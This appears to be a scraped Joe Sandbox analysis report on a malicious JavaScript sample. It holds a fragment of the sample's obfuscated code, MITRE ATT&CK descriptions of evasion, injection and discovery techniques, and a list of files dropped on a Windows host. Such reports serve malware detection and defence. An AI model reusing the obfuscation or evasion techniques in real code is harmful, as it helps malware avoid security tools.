1518	hneuodhld = "A";
1519	hneuodhld = "R";
1520	hneuodhld = "s";
1521	hneuodhld = "N";
1522	hneuodhld = "S";
1523	hneuodhld = "r";
1524	hneuodhld = "Q";
1525	jsrrz ( );	jsrrz() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2449715899306403241.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\bd564dd4-62cf-4a95-b539-58c43976b39e.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4216

Windows Analysis Report
2449715899306403241.js